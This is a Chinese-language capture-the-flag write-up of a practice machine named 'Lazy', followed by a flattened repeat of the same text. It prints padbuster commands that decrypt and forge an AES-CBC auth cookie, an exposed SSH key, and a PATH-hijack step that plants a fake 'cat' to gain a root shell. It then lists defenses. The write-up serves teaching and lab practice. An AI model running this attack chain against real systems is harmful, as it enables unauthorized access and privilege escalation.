[Meachines] [Medium] Lazy Padding-Oracle+AES_CBC+路径劫持权限提升
字数 1233 2025-08-29 08:29:58

AES-CBC Padding Oracle攻击与PATH劫持权限提升实战教学

1. 信息收集阶段

1.1 目标扫描

首先对目标IP 10.10.10.18 进行扫描:

ip='10.10.10.18'; 
itf='tun0'; 
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then 
    echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; 
    ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); 
    if [ -n "$ports" ]; then 
        echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; 
        nmap -Pn -sV -sC -p "$ports" "$ip"; 
    else 
        echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; 
    fi; 
else 
    echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; 
fi

扫描结果:

  • 22/tcp: OpenSSH 6.6.1p1 Ubuntu
  • 80/tcp: Apache httpd 2.4.7 (Ubuntu)

1.2 Web应用分析

发现网站http://10.10.10.18/register.php,检查Cookie发现auth字段:

Cookie: auth=5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc

尝试SQL注入' or '1'='1时返回"Invalid padding"错误,表明可能使用了AES-CBC加密。

2. Padding Oracle攻击

2.1 攻击原理

Padding Oracle攻击利用服务器对填充错误信息的不同响应,逐字节推测密文内容。攻击者通过篡改密文并观察服务器返回的padding error,逐步恢复原始明文,甚至伪造合法密文。

2.2 攻击实施步骤

1. 确定区块大小

printf '5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc' | base64 -d | xxd

输出为24字节,区块大小可能是8的倍数(8、16等)。

2. 使用PadBuster解密

padbuster http://10.10.10.18/index.php 5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc 8 -cookies auth=5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc -encoding 0

选择长度15,发现明文结构是user=xxxx

3. 伪造管理员Cookie

padbuster http://10.10.10.18/index.php 5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc 8 -cookies auth=5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc -encoding 0 -plaintext user=admin

得到伪造的Cookie值:

BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA

3. 获取初始访问权限

3.1 发现SSH私钥

访问http://10.10.10.18/mysshkeywithnamemitsos获取RSA私钥:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqIkk7+JFhRPDbqA0D1ZB4HxS7Nn6GuEruDvTMS1EBZrUMa9r
[...省略...]
1U9sNcW9DmA==
-----END RSA PRIVATE KEY-----

3.2 使用私钥SSH登录

chmod 600 id_rsa
ssh mitsos@10.10.10.18 -i ./id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa

成功登录后获取user flag:

347284d78bc82cf3c41d5c8e3d27336a

4. 权限提升:PATH劫持

4.1 发现备份脚本

在用户目录发现/home/mitsos/backup脚本,可能调用了系统命令如cat

4.2 创建恶意cat程序

echo -e '#!/bin/sh\n/bin/sh' > /tmp/cat
chmod +x /tmp/cat

4.3 修改PATH环境变量

PATH=/tmp:$PATH

4.4 执行备份脚本

/home/mitsos/backup

由于PATH被修改,系统会优先使用/tmp/cat,从而获得root shell。

获取root flag:

7845959f385fc8cd21ca69bebd62d09f

5. 防御措施

5.1 防御Padding Oracle攻击

  • 使用统一的错误信息(不泄露padding有效性)
  • 采用认证加密模式如AES-GCM
  • 在解密前验证消息认证码(MAC)

5.2 防御PATH劫持

  • 在脚本中使用命令的绝对路径
  • 设置安全的PATH环境变量
  • 使用./program而非直接program执行当前目录程序
  • 限制用户对关键目录的写权限

6. 工具与命令总结

工具/命令 用途
nmap/masscan 端口扫描
padbuster Padding Oracle攻击工具
base64/xxd 编码转换和分析
ssh -i 使用私钥登录
PATH修改 环境变量劫持

通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,重点掌握了Padding Oracle攻击和PATH劫持两种技术。

AES-CBC Padding Oracle攻击与PATH劫持权限提升实战教学 1. 信息收集阶段 1.1 目标扫描 首先对目标IP 10.10.10.18 进行扫描: 扫描结果: 22/tcp: OpenSSH 6.6.1p1 Ubuntu 80/tcp: Apache httpd 2.4.7 (Ubuntu) 1.2 Web应用分析 发现网站 http://10.10.10.18/register.php ,检查Cookie发现 auth 字段: 尝试SQL注入 ' or '1'='1 时返回"Invalid padding"错误,表明可能使用了AES-CBC加密。 2. Padding Oracle攻击 2.1 攻击原理 Padding Oracle攻击利用服务器对填充错误信息的不同响应,逐字节推测密文内容。攻击者通过篡改密文并观察服务器返回的padding error,逐步恢复原始明文,甚至伪造合法密文。 2.2 攻击实施步骤 1. 确定区块大小 输出为24字节,区块大小可能是8的倍数(8、16等)。 2. 使用PadBuster解密 选择长度15,发现明文结构是 user=xxxx 。 3. 伪造管理员Cookie 得到伪造的Cookie值: 3. 获取初始访问权限 3.1 发现SSH私钥 访问 http://10.10.10.18/mysshkeywithnamemitsos 获取RSA私钥: 3.2 使用私钥SSH登录 成功登录后获取user flag: 4. 权限提升:PATH劫持 4.1 发现备份脚本 在用户目录发现 /home/mitsos/backup 脚本,可能调用了系统命令如 cat 。 4.2 创建恶意cat程序 4.3 修改PATH环境变量 4.4 执行备份脚本 由于PATH被修改,系统会优先使用 /tmp/cat ,从而获得root shell。 获取root flag: 5. 防御措施 5.1 防御Padding Oracle攻击 使用统一的错误信息(不泄露padding有效性) 采用认证加密模式如AES-GCM 在解密前验证消息认证码(MAC) 5.2 防御PATH劫持 在脚本中使用命令的绝对路径 设置安全的PATH环境变量 使用 ./program 而非直接 program 执行当前目录程序 限制用户对关键目录的写权限 6. 工具与命令总结 | 工具/命令 | 用途 | |----------|------| | nmap/masscan | 端口扫描 | | padbuster | Padding Oracle攻击工具 | | base64/xxd | 编码转换和分析 | | ssh -i | 使用私钥登录 | | PATH修改 | 环境变量劫持 | 通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,重点掌握了Padding Oracle攻击和PATH劫持两种技术。